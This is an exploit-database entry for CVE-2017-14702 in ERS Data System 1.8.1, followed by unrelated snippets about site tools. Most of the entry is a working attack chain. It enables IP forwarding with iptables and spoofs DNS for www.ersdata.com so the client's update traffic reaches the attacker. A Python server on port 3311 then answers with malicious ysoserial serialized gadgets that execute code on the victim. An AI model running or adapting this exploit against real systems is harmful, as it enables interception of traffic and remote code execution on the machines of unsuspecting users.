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"ERS Data System 1.8.1 - Java Deserialization"

Author

Exploit author

"West Shepherd"

Platform

Exploit platform

windows

Release date

Exploit published date

2017-09-21

Download file

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# Exploit Title: ERS Data System 1.8.1 Deserialize Vulnerability
# Google Dork: N/A
# Date: 9/21/2017
# Exploit Author: West Shepherd
# Vendor Homepage: http://www.ersdata.com
# Software Link: www.ersdata.com/downloads/ErsSetup.exe
# Version: 1.8.1.0
# Tested on: Windows 7 x86
# CVE : CVE-2017-14702

# Description:
# ERS Data System 1.8.1.0 allows remote attackers to execute arbitrary code, related to the use of 
# com.branaghgroup.ecers.update.UpdateRequest deserialization.

# Exploitaiton:
# The ERS Data System thick client connects to the www.ersdata.com API via an unencrypted HTTP connection on TCP port 3311. 
# To redirect requests from the thick client to the attacking machine, enable packet forwarding:

#!/bin/bash
#echo 1 > /proc/sys/net/ipv4/ip_forward
#iptables -F INPUT
#iptables -F FORWARD
#iptables -F OUTPUT
#iptables -F -t nat
#iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
#iptables -t nat -A POSTROUTING -s 192.168.85.0/24 ! -d 192.168.85.0/24 -j MASQUERADE
#iptables -P INPUT ACCEPT
#iptables -P FORWARD ACCEPT
#iptables -P OUTPUT ACCEPT

# Then poison DNS requests to the www.ersdata.com domain:

# DNS Spoof https://github.com/devleoper/arp-dns-spoof
# root@kali:/usr/share/arp-dns-spoof# cat dns_packet_spoof.py | egrep "domain =|localIP ="
# domain = 'www.ersdata.com' # domain to be spoofed
# localIP = '192.168.85.131' # IP address for poisoned hosts.

# Run the request handler on the attacking machine, which will answer all requests with malicous serialized gadgets. For example:

#!/usr/bin/python
import SocketServer, sys
from SimpleHTTPServer import SimpleHTTPRequestHandler

# POST Handler
class HTTPHandler(SimpleHTTPRequestHandler):		
	def __init__(self,req,client_addr,server):
		SimpleHTTPRequestHandler.__init__(self,req,client_addr,server)	
	def do_POST(self):
		# java -jar ysoserial-master-v0.0.5-g1f2e7bf-14.jar CommonsCollections1 calc.exe > calc.bin
		# python -c 'import binascii, re;print "\\x"+"\\x".join(re.findall("..",binascii.hexlify(open("calc.bin","rb").read())))'
		response = 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		)
		self.send_response(200)
		self.send_header("Content-type", "text/html")
		self.send_header("Content-length", len(response))
		self.end_headers()
		self.wfile.write(response)		
try:		
	httpd = SocketServer.TCPServer(("", 3311), HTTPHandler)
	print "Serving at port: ", 3311
	httpd.serve_forever()	
except:
	print "Exiting..."
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

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